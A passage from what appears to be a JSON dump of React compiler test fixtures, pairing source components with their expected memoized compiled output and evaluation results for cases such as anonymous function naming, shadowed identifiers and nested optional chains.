    "content": "import {\n  Stringify,\n  makeObject_Primitives,\n  mutateAndReturn,\n} from 'shared-runtime';\n\n/**\n * In this example, the `<Stringify ... />` JSX block mutates then captures obj.\n * As JSX expressions freeze their values, we know that `obj` and `myDiv` cannot\n * be mutated past this.\n * This set of mutable range + scopes is an edge case because the JSX expression\n * references values in two scopes.\n * - (freeze) the result of `mutateAndReturn`\n *   this is a mutable value with a mutable range starting at `makeObject()`\n * - (mutate) the lvalue storing the result of `<Stringify .../>`\n *   this is a immutable value and so gets assigned a different scope\n *\n * obj@0 = makeObj();                        ⌝ scope@0\n * if (cond) {                               |\n *   $1@0 = mutate(obj@0);                   |\n *   myDiv@1 = JSX $1@0          <- scope@1  |\n * }                                         ⌟\n *\n * Coincidentally, the range of `obj` is extended by alignScopesToBlocks to *past*\n * the end of the JSX instruction. As we currently alias identifier mutableRanges to\n * scope ranges, this `freeze` reference is perceived as occurring during the mutable\n * range of `obj` (even though it is after the last mutating reference).\n *\n * This case is technically safe as `myDiv` correctly takes `obj` as a dependency. As\n * a result, developers can never observe myDiv can aliasing a different value generation\n * than `obj` (e.g. the invariant `myDiv.props.value === obj` always holds).\n */\nfunction useFoo({data}) {\n  let obj = null;\n  let myDiv = null;\n  if (data.cond) {\n    obj = makeObject_Primitives();\n    if (data.cond1) {\n      myDiv = <Stringify value={mutateAndReturn(obj)} />;\n    }\n  }\n  return myDiv;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{data: {cond: true, cond1: true}}],\n  sequentialRenders: [\n    {data: {cond: true, cond1: true}},\n    {data: {cond: true, cond1: true}},\n  ],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/name-anonymous-functions-outline.expect.md",
    "content": "\n## Input\n\n```javascript\n// @enableNameAnonymousFunctions\nimport {Stringify} from 'shared-runtime';\n\nfunction Component(props) {\n  const onClick = () => {\n    console.log('hello!');\n  };\n  return <div onClick={onClick} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{value: 42}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @enableNameAnonymousFunctions\nimport { Stringify } from \"shared-runtime\";\n\nfunction Component(props) {\n  const $ = _c(1);\n  const onClick = _ComponentOnClick;\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t0 = <div onClick={onClick} />;\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  return t0;\n}\nfunction _ComponentOnClick() {\n  console.log(\"hello!\");\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ value: 42 }],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div></div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/name-anonymous-functions-outline.js",
    "content": "// @enableNameAnonymousFunctions\nimport {Stringify} from 'shared-runtime';\n\nfunction Component(props) {\n  const onClick = () => {\n    console.log('hello!');\n  };\n  return <div onClick={onClick} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{value: 42}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/name-anonymous-functions.expect.md",
    "content": "\n## Input\n\n```javascript\n// @enableNameAnonymousFunctions\n\nimport {useCallback, useEffect} from 'react';\nimport {identity, Stringify, useIdentity} from 'shared-runtime';\nimport * as SharedRuntime from 'shared-runtime';\n\nfunction Component(props) {\n  function named() {\n    const inner = () => props.named;\n    const innerIdentity = identity(() => props.named);\n    return inner(innerIdentity());\n  }\n  const callback = useCallback(() => {\n    return 'ok';\n  }, []);\n  const namedVariable = function () {\n    return props.namedVariable;\n  };\n  const methodCall = SharedRuntime.identity(() => props.methodCall);\n  const call = identity(() => props.call);\n  const builtinElementAttr = <div onClick={() => props.builtinElementAttr} />;\n  const namedElementAttr = <Stringify onClick={() => props.namedElementAttr} />;\n  const hookArgument = useIdentity(() => props.hookArgument);\n  useEffect(() => {\n    console.log(props.useEffect);\n    JSON.stringify(null, null, () => props.useEffect);\n    const g = () => props.useEffect;\n    console.log(g());\n  }, [props.useEffect]);\n  return (\n    <>\n      {named()}\n      {callback()}\n      {namedVariable()}\n      {methodCall()}\n      {call()}\n      {builtinElementAttr}\n      {namedElementAttr}\n      {hookArgument()}\n    </>\n  );\n}\n\nexport const TODO_FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [\n    {\n      named: '<named>',\n      namedVariable: '<namedVariable>',\n      methodCall: '<methodCall>',\n      call: '<call>',\n      builtinElementAttr: '<builtinElementAttr>',\n      namedElementAttr: '<namedElementAttr>',\n      hookArgument: '<hookArgument>',\n      useEffect: '<useEffect>',\n    },\n  ],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @enableNameAnonymousFunctions\n\nimport { useCallback, useEffect } from \"react\";\nimport { identity, Stringify, useIdentity } from \"shared-runtime\";\nimport * as SharedRuntime from \"shared-runtime\";\n\nfunction Component(props) {\n  const $ = _c(31);\n  let t0;\n  if ($[0] !== props.named) {\n    t0 = function named() {\n      const inner = { \"Component[named > inner]\": () => props.named }[\n        \"Component[named > inner]\"\n      ];\n      const innerIdentity = identity(\n        { \"Component[named > identity()]\": () => props.named }[\n          \"Component[named > identity()]\"\n        ],\n      );\n      return inner(innerIdentity());\n    };\n    $[0] = props.named;\n    $[1] = t0;\n  } else {\n    t0 = $[1];\n  }\n  const named = t0;\n\n  const callback = _ComponentCallback;\n  let t1;\n  if ($[2] !== props.namedVariable) {\n    t1 = {\n      \"Component[namedVariable]\": function () {\n        return props.namedVariable;\n      },\n    }[\"Component[namedVariable]\"];\n    $[2] = props.namedVariable;\n    $[3] = t1;\n  } else {\n    t1 = $[3];\n  }\n  const namedVariable = t1;\n  let t2;\n  if ($[4] !== props.methodCall) {\n    t2 = { \"Component[SharedRuntime.identity()]\": () => props.methodCall }[\n      \"Component[SharedRuntime.identity()]\"\n    ];\n    $[4] = props.methodCall;\n    $[5] = t2;\n  } else {\n    t2 = $[5];\n  }\n  const methodCall = SharedRuntime.identity(t2);\n  let t3;\n  if ($[6] !== props.call) {\n    t3 = { \"Component[identity()]\": () => props.call }[\"Component[identity()]\"];\n    $[6] = props.call;\n    $[7] = t3;\n  } else {\n    t3 = $[7];\n  }\n  const call = identity(t3);\n  let t4;\n  if ($[8] !== props.builtinElementAttr) {\n    t4 = (\n      <div\n        onClick={\n          { \"Component[<div>.onClick]\": () => props.builtinElementAttr }[\n            \"Component[<div>.onClick]\"\n          ]\n        }\n      />\n    );\n    $[8] = props.builtinElementAttr;\n    $[9] = t4;\n  } else {\n    t4 = $[9];\n  }\n  const builtinElementAttr = t4;\n  let t5;\n  if ($[10] !== props.namedElementAttr) {\n    t5 = (\n      <Stringify\n        onClick={\n          { \"Component[<Stringify>.onClick]\": () => props.namedElementAttr }[\n            \"Component[<Stringify>.onClick]\"\n          ]\n        }\n      />\n    );\n    $[10] = props.namedElementAttr;\n    $[11] = t5;\n  } else {\n    t5 = $[11];\n  }\n  const namedElementAttr = t5;\n  let t6;\n  if ($[12] !== props.hookArgument) {\n    t6 = { \"Component[useIdentity()]\": () => props.hookArgument }[\n      \"Component[useIdentity()]\"\n    ];\n    $[12] = props.hookArgument;\n    $[13] = t6;\n  } else {\n    t6 = $[13];\n  }\n  const hookArgument = useIdentity(t6);\n  let t7;\n  let t8;\n  if ($[14] !== props.useEffect) {\n    t7 = {\n      \"Component[useEffect()]\": () => {\n        console.log(props.useEffect);\n        JSON.stringify(\n          null,\n          null,\n          {\n            \"Component[useEffect() > JSON.stringify()]\": () => props.useEffect,\n          }[\"Component[useEffect() > JSON.stringify()]\"],\n        );\n        const g = { \"Component[useEffect() > g]\": () => props.useEffect }[\n          \"Component[useEffect() > g]\"\n        ];\n        console.log(g());\n      },\n    }[\"Component[useEffect()]\"];\n    t8 = [props.useEffect];\n    $[14] = props.useEffect;\n    $[15] = t7;\n    $[16] = t8;\n  } else {\n    t7 = $[15];\n    t8 = $[16];\n  }\n  useEffect(t7, t8);\n  let t9;\n  if ($[17] !== named) {\n    t9 = named();\n    $[17] = named;\n    $[18] = t9;\n  } else {\n    t9 = $[18];\n  }\n  const t10 = callback();\n  let t11;\n  if ($[19] !== namedVariable) {\n    t11 = namedVariable();\n    $[19] = namedVariable;\n    $[20] = t11;\n  } else {\n    t11 = $[20];\n  }\n  const t12 = methodCall();\n  const t13 = call();\n  let t14;\n  if ($[21] !== hookArgument) {\n    t14 = hookArgument();\n    $[21] = hookArgument;\n    $[22] = t14;\n  } else {\n    t14 = $[22];\n  }\n  let t15;\n  if (\n    $[23] !== builtinElementAttr ||\n    $[24] !== namedElementAttr ||\n    $[25] !== t11 ||\n    $[26] !== t12 ||\n    $[27] !== t13 ||\n    $[28] !== t14 ||\n    $[29] !== t9\n  ) {\n    t15 = (\n      <>\n        {t9}\n        {t10}\n        {t11}\n        {t12}\n        {t13}\n        {builtinElementAttr}\n        {namedElementAttr}\n        {t14}\n      </>\n    );\n    $[23] = builtinElementAttr;\n    $[24] = namedElementAttr;\n    $[25] = t11;\n    $[26] = t12;\n    $[27] = t13;\n    $[28] = t14;\n    $[29] = t9;\n    $[30] = t15;\n  } else {\n    t15 = $[30];\n  }\n  return t15;\n}\nfunction _ComponentCallback() {\n  return \"ok\";\n}\n\nexport const TODO_FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [\n    {\n      named: \"<named>\",\n      namedVariable: \"<namedVariable>\",\n      methodCall: \"<methodCall>\",\n      call: \"<call>\",\n      builtinElementAttr: \"<builtinElementAttr>\",\n      namedElementAttr: \"<namedElementAttr>\",\n      hookArgument: \"<hookArgument>\",\n      useEffect: \"<useEffect>\",\n    },\n  ],\n};\n\n```\n      \n### Eval output\n(kind: exception) Fixture not implemented"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/name-anonymous-functions.js",
    "content": "// @enableNameAnonymousFunctions\n\nimport {useCallback, useEffect} from 'react';\nimport {identity, Stringify, useIdentity} from 'shared-runtime';\nimport * as SharedRuntime from 'shared-runtime';\n\nfunction Component(props) {\n  function named() {\n    const inner = () => props.named;\n    const innerIdentity = identity(() => props.named);\n    return inner(innerIdentity());\n  }\n  const callback = useCallback(() => {\n    return 'ok';\n  }, []);\n  const namedVariable = function () {\n    return props.namedVariable;\n  };\n  const methodCall = SharedRuntime.identity(() => props.methodCall);\n  const call = identity(() => props.call);\n  const builtinElementAttr = <div onClick={() => props.builtinElementAttr} />;\n  const namedElementAttr = <Stringify onClick={() => props.namedElementAttr} />;\n  const hookArgument = useIdentity(() => props.hookArgument);\n  useEffect(() => {\n    console.log(props.useEffect);\n    JSON.stringify(null, null, () => props.useEffect);\n    const g = () => props.useEffect;\n    console.log(g());\n  }, [props.useEffect]);\n  return (\n    <>\n      {named()}\n      {callback()}\n      {namedVariable()}\n      {methodCall()}\n      {call()}\n      {builtinElementAttr}\n      {namedElementAttr}\n      {hookArgument()}\n    </>\n  );\n}\n\nexport const TODO_FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [\n    {\n      named: '<named>',\n      namedVariable: '<namedVariable>',\n      methodCall: '<methodCall>',\n      call: '<call>',\n      builtinElementAttr: '<builtinElementAttr>',\n      namedElementAttr: '<namedElementAttr>',\n      hookArgument: '<hookArgument>',\n      useEffect: '<useEffect>',\n    },\n  ],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/nested-function-shadowed-identifiers.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component(props) {\n  const [x, setX] = useState(null);\n\n  const onChange = e => {\n    let x = null; // intentionally shadow the original x\n    setX(currentX => currentX + x); // intentionally refer to shadowed x\n  };\n\n  return <input value={x} onChange={onChange} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction Component(props) {\n  const $ = _c(3);\n  const [x, setX] = useState(null);\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t0 = (e) => {\n      setX(_temp);\n    };\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  const onChange = t0;\n  let t1;\n  if ($[1] !== x) {\n    t1 = <input value={x} onChange={onChange} />;\n    $[1] = x;\n    $[2] = t1;\n  } else {\n    t1 = $[2];\n  }\n  return t1;\n}\nfunction _temp(currentX) {\n  return currentX + null;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [\"TodoAdd\"],\n  isComponent: \"TodoAdd\",\n};\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/nested-function-shadowed-identifiers.js",
    "content": "function Component(props) {\n  const [x, setX] = useState(null);\n\n  const onChange = e => {\n    let x = null; // intentionally shadow the original x\n    setX(currentX => currentX + x); // intentionally refer to shadowed x\n  };\n\n  return <input value={x} onChange={onChange} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/nested-function-with-param-as-captured-dep.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Foo() {\n  return (function t() {\n    let x = {};\n    return function a(x = () => {}) {\n      return x;\n    };\n  })();\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [],\n  isComponent: false,\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction Foo() {\n  const $ = _c(1);\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t0 = function a(t1) {\n      const x_0 = t1 === undefined ? _temp : t1;\n      return x_0;\n    };\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  return t0;\n}\nfunction _temp() {}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [],\n  isComponent: false,\n};\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/nested-function-with-param-as-captured-dep.ts",
    "content": "function Foo() {\n  return (function t() {\n    let x = {};\n    return function a(x = () => {}) {\n      return x;\n    };\n  })();\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [],\n  isComponent: false,\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/nested-optional-chains.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {identity} from 'shared-runtime';\n\n/**\n * identity(...)?.toString() is the outer optional, and prop?.value is the inner\n * one.\n * Note that prop?.\n */\nfunction useFoo({\n  prop1,\n  prop2,\n  prop3,\n  prop4,\n  prop5,\n  prop6,\n}: {\n  prop1: null | {value: number};\n  prop2: null | {inner: {value: number}};\n  prop3: null | {fn: (val: any) => NonNullable<object>};\n  prop4: null | {inner: {value: number}};\n  prop5: null | {fn: (val: any) => NonNullable<object>};\n  prop6: null | {inner: {value: number}};\n}) {\n  // prop1?.value should be hoisted as the dependency of x\n  const x = identity(prop1?.value)?.toString();\n\n  // prop2?.inner.value should be hoisted as the dependency of y\n  const y = identity(prop2?.inner.value)?.toString();\n\n  // prop3 and prop4?.inner should be hoisted as the dependency of z\n  const z = prop3?.fn(prop4?.inner.value).toString();\n\n  // prop5 and prop6?.inner should be hoisted as the dependency of zz\n  const zz = prop5?.fn(prop6?.inner.value)?.toString();\n  return [x, y, z, zz];\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [\n    {\n      prop1: null,\n      prop2: null,\n      prop3: null,\n      prop4: null,\n      prop5: null,\n      prop6: null,\n    },\n  ],\n  sequentialRenders: [\n    {\n      prop1: null,\n      prop2: null,\n      prop3: null,\n      prop4: null,\n      prop5: null,\n      prop6: null,\n    },\n    {\n      prop1: {value: 2},\n      prop2: {inner: {value: 3}},\n      prop3: {fn: identity},\n      prop4: {inner: {value: 4}},\n      prop5: {fn: identity},\n      prop6: {inner: {value: 4}},\n    },\n    {\n      prop1: {value: 2},\n      prop2: {inner: {value: 3}},\n      prop3: {fn: identity},\n      prop4: {inner: {value: 4}},\n      prop5: {fn: identity},\n      prop6: {inner: {value: undefined}},\n    },\n    {\n      prop1: {value: 2},\n      prop2: {inner: {value: undefined}},\n      prop3: {fn: identity},\n      prop4: {inner: {value: undefined}},\n      prop5: {fn: identity},\n      prop6: {inner: {value: undefined}},\n    },\n    {\n      prop1: {value: 2},\n      prop2: {},\n      prop3: {fn: identity},\n      prop4: {},\n      prop5: {fn: identity},\n      prop6: {inner: {value: undefined}},\n    },\n  ],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { identity } from \"shared-runtime\";\n\n/**\n * identity(...)?.toString() is the outer optional, and prop?.value is the inner\n * one.\n * Note that prop?.\n */\nfunction useFoo(t0) {\n  const $ = _c(15);\n  const { prop1, prop2, prop3, prop4, prop5, prop6 } = t0;\n  let t1;\n  if ($[0] !== prop1?.value) {\n    t1 = identity(prop1?.value)?.toString();\n    $[0] = prop1?.value;\n    $[1] = t1;\n  } else {\n    t1 = $[1];\n  }\n  const x = t1;\n  let t2;\n  if ($[2] !== prop2?.inner.value) {\n    t2 = identity(prop2?.inner.value)?.toString();\n    $[2] = prop2?.inner.value;\n    $[3] = t2;\n  } else {\n    t2 = $[3];\n  }\n  const y = t2;\n  let t3;\n  if ($[4] !== prop3 || $[5] !== prop4?.inner) {\n    t3 = prop3?.fn(prop4?.inner.value).toString();\n    $[4] = prop3;\n    $[5] = prop4?.inner;\n    $[6] = t3;\n  } else {\n    t3 = $[6];\n  }\n  const z = t3;\n  let t4;\n  if ($[7] !== prop5 || $[8] !== prop6?.inner) {\n    t4 = prop5?.fn(prop6?.inner.value)?.toString();\n    $[7] = prop5;\n    $[8] = prop6?.inner;\n    $[9] = t4;\n  } else {\n    t4 = $[9];\n  }\n  const zz = t4;\n  let t5;\n  if ($[10] !== x || $[11] !== y || $[12] !== z || $[13] !== zz) {\n    t5 = [x, y, z, zz];\n    $[10] = x;\n    $[11] = y;\n    $[12] = z;\n    $[13] = zz;\n    $[14] = t5;\n  } else {\n    t5 = $[14];\n  }\n  return t5;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [\n    {\n      prop1: null,\n      prop2: null,\n      prop3: null,\n      prop4: null,\n      prop5: null,\n      prop6: null,\n    },\n  ],\n\n  sequentialRenders: [\n    {\n      prop1: null,\n      prop2: null,\n      prop3: null,\n      prop4: null,\n      prop5: null,\n      prop6: null,\n    },\n    {\n      prop1: { value: 2 },\n      prop2: { inner: { value: 3 } },\n      prop3: { fn: identity },\n      prop4: { inner: { value: 4 } },\n      prop5: { fn: identity },\n      prop6: { inner: { value: 4 } },\n    },\n    {\n      prop1: { value: 2 },\n      prop2: { inner: { value: 3 } },\n      prop3: { fn: identity },\n      prop4: { inner: { value: 4 } },\n      prop5: { fn: identity },\n      prop6: { inner: { value: undefined } },\n    },\n    {\n      prop1: { value: 2 },\n      prop2: { inner: { value: undefined } },\n      prop3: { fn: identity },\n      prop4: { inner: { value: undefined } },\n      prop5: { fn: identity },\n      prop6: { inner: { value: undefined } },\n    },\n    {\n      prop1: { value: 2 },\n      prop2: {},\n      prop3: { fn: identity },\n      prop4: {},\n      prop5: { fn: identity },\n      prop6: { inner: { value: undefined } },\n    },\n  ],\n};\n\n```\n      \n### Eval output\n(kind: ok) [null,null,null,null]\n[\"2\",\"3\",\"4\",\"4\"]\n[\"2\",\"3\",\"4\",null]\n[[ (exception in render) TypeError: Cannot read properties of undefined (reading 'toString') ]]\n[[ (exception in render) TypeError: Cannot read properties of undefined (reading 'value') ]]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/nested-optional-chains.ts",
    "content": "import {identity} from 'shared-runtime';\n\n/**\n * identity(...)?.toString() is the outer optional, and prop?.value is the inner\n * one.\n * Note that prop?.\n */\nfunction useFoo({\n  prop1,\n  prop2,\n  prop3,\n  prop4,\n  prop5,\n  prop6,\n}: {\n  prop1: null | {value: number};\n  prop2: null | {inner: {value: number}};\n  prop3: null | {fn: (val: any) => NonNullable<object>};\n  prop4: null | {inner: {value: number}};\n  prop5: null | {fn: (val: any) => NonNullable<object>};\n  prop6: null | {inner: {value: number}};\n}) {\n  // prop1?.value should be hoisted as the dependency of x\n  const x = identity(prop1?.value)?.toString();\n\n  // prop2?.inner.value should be hoisted as the dependency of y\n  const y = identity(prop2?.inner.value)?.toString();\n\n  // prop3 and prop4?.inner should be hoisted as the dependency of z\n  const z = prop3?.fn(prop4?.inner.value).toString();\n\n  // prop5 and prop6?.inner should be hoisted as the dependency of zz\n  const zz = prop5?.fn(prop6?.inner.value)?.toString();\n  return [x, y, z, zz];\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [\n    {\n      prop1: null,\n      prop2: null,\n      prop3: null,\n      prop4: null,\n      prop5: null,\n      prop6: null,\n    },\n  ],\n  sequentialRenders: [\n    {\n      prop1: null,\n      prop2: null,\n      prop3: null,\n      prop4: null,\n      prop5: null,\n      prop6: null,\n    },\n    {\n      prop1: {value: 2},\n      prop2: {inner: {value: 3}},\n      prop3: {fn: identity},\n      prop4: {inner: {value: 4}},\n      prop5: {fn: identity},\n      prop6: {inner: {value: 4}},\n    },\n    {\n      prop1: {value: 2},\n      prop2: {inner: {value: 3}},\n      prop3: {fn: identity},\n      prop4: {inner: {value: 4}},\n      prop5: {fn: identity},\n      prop6: {inner: {value: undefined}},\n    },\n    {\n      prop1: {value: 2},\n      prop2: {inner: {value: undefined}},\n      prop3: {fn: identity},\n      prop4: {inner: {value: undefined}},\n      prop5: {fn: identity},\n      prop6: {inner: {value: undefined}},\n    },\n    {\n      prop1: {value: 2},\n      prop2: {},\n      prop3: {fn: identity},\n      prop4: {},\n      prop5: {fn: identity},\n      prop6: {inner: {value: undefined}},\n    },\n  ],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/nested-optional-member-expr.expect.md",
    "content": "\n## Input\n\n```javascript\n// We should codegen nested optional properties correctly\n// (i.e. placing `?` in the correct PropertyLoad)\nfunction Component(props) {\n  let x = foo(props.a?.b.c.d);\n  return x;\n}\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // We should codegen nested optional properties correctly\n// (i.e. placing `?` in the correct PropertyLoad)\nfunction Component(props) {\n  const $ = _c(2);\n  const t0 = props.a?.b.c.d;\n  let t1;\n  if ($[0] !== t0) {\n    t1 = foo(t0);\n    $[0] = t0;\n    $[1] = t1;\n  } else {\n    t1 = $[1];\n  }\n  const x = t1;\n  return x;\n}\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/nested-optional-member-expr.js",
    "content": "// We should codegen nested optional properties correctly\n// (i.e. placing `?` in the correct PropertyLoad)\nfunction Component(props) {\n  let x = foo(props.a?.b.c.d);\n  return x;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/nested-scopes-begin-same-instr-valueblock.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {identity, mutate} from 'shared-runtime';\n\nfunction Foo({cond}) {\n  const x = identity(identity(cond)) ? {a: 2} : {b: 2};\n\n  mutate(x);\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [{cond: false}],\n  sequentialRenders: [{cond: false}, {cond: false}, {cond: true}, {cond: true}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { identity, mutate } from \"shared-runtime\";\n\nfunction Foo(t0) {\n  const $ = _c(2);\n  const { cond } = t0;\n  let x;\n  if ($[0] !== cond) {\n    x = identity(identity(cond)) ? { a: 2 } : { b: 2 };\n\n    mutate(x);\n    $[0] = cond;\n    $[1] = x;\n  } else {\n    x = $[1];\n  }\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [{ cond: false }],\n  sequentialRenders: [\n    { cond: false },\n    { cond: false },\n    { cond: true },\n    { cond: true },\n  ],\n};\n\n```\n      \n### Eval output\n(kind: ok) {\"b\":2,\"wat0\":\"joe\"}\n{\"b\":2,\"wat0\":\"joe\"}\n{\"a\":2,\"wat0\":\"joe\"}\n{\"a\":2,\"wat0\":\"joe\"}"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/nested-scopes-begin-same-instr-valueblock.ts",
    "content": "import {identity, mutate} from 'shared-runtime';\n\nfunction Foo({cond}) {\n  const x = identity(identity(cond)) ? {a: 2} : {b: 2};\n\n  mutate(x);\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [{cond: false}],\n  sequentialRenders: [{cond: false}, {cond: false}, {cond: true}, {cond: true}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/nested-scopes-hook-call.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction component(props) {\n  let x = [];\n  let y = [];\n  y.push(useHook(props.foo));\n  x.push(y);\n  return x;\n}\n\n```\n\n## Code\n\n```javascript\nfunction component(props) {\n  const x = [];\n  const y = [];\n  y.push(useHook(props.foo));\n  x.push(y);\n  return x;\n}\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/nested-scopes-hook-call.js",
    "content": "function component(props) {\n  let x = [];\n  let y = [];\n  y.push(useHook(props.foo));\n  x.push(y);\n  return x;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-does-not-mutate-class.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {identity} from 'shared-runtime';\n\nclass Foo {}\nfunction Component({val}) {\n  const MyClass = identity(Foo);\n  const x = [val];\n  const y = new MyClass();\n\n  return [x, y];\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{val: 0}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { identity } from \"shared-runtime\";\n\nclass Foo {}\nfunction Component(t0) {\n  const $ = _c(6);\n  const { val } = t0;\n  let t1;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t1 = identity(Foo);\n    $[0] = t1;\n  } else {\n    t1 = $[0];\n  }\n  const MyClass = t1;\n  let t2;\n  if ($[1] !== val) {\n    t2 = [val];\n    $[1] = val;\n    $[2] = t2;\n  } else {\n    t2 = $[2];\n  }\n  const x = t2;\n  let t3;\n  if ($[3] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t3 = new MyClass();\n    $[3] = t3;\n  } else {\n    t3 = $[3];\n  }\n  const y = t3;\n  let t4;\n  if ($[4] !== x) {\n    t4 = [x, y];\n    $[4] = x;\n    $[5] = t4;\n  } else {\n    t4 = $[5];\n  }\n  return t4;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ val: 0 }],\n};\n\n```\n      \n### Eval output\n(kind: ok) [[0],{}]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-does-not-mutate-class.ts",
    "content": "import {identity} from 'shared-runtime';\n\nclass Foo {}\nfunction Component({val}) {\n  const MyClass = identity(Foo);\n  const x = [val];\n  const y = new MyClass();\n\n  return [x, y];\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{val: 0}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/aliased-nested-scope-truncated-dep.expect.md",
    "content": "\n## Input\n\n```javascript\n// @enableNewMutationAliasingModel\nimport {\n  Stringify,\n  mutate,\n  identity,\n  shallowCopy,\n  setPropertyByKey,\n} from 'shared-runtime';\n\n/**\n * This fixture is similar to `bug-aliased-capture-aliased-mutate` and\n * `nonmutating-capture-in-unsplittable-memo-block`, but with a focus on\n * dependency extraction.\n *\n * NOTE: this fixture is currently valid, but will break with optimizations:\n * - Scope and mutable-range based reordering may move the array creation\n *     *after* the `mutate(aliasedObj)` call. This is invalid if mutate\n *     reassigns inner properties.\n * - RecycleInto or other deeper-equality optimizations may produce invalid\n *     output -- it may compare the array's contents / dependencies too early.\n * - Runtime validation for immutable values will break if `mutate` does\n *     interior mutation of the value captured into the array.\n *\n * Before scope block creation, HIR looks like this:\n *  //\n *  // $1 is unscoped as obj's mutable range will be\n *  // extended in a later pass\n *  //\n *  $1    = LoadLocal obj@0[0:12]\n *  $2    = PropertyLoad $1.id\n *  //\n *  // $3 gets assigned a scope as Array is an allocating\n *  // instruction, but this does *not* get extended or\n *  // merged into the later mutation site.\n *  // (explained in `bug-aliased-capture-aliased-mutate`)\n *  //\n *  $3@1  = Array[$2]\n *  ...\n *  $10@0 = LoadLocal shallowCopy@0[0, 12]\n *  $11   = LoadGlobal mutate\n *  $12   = $11($10@0[0, 12])\n *\n * When filling in scope dependencies, we find that it's incorrect to depend on\n * PropertyLoads from obj as it hasn't completed its mutable range. Following\n * the immutable / 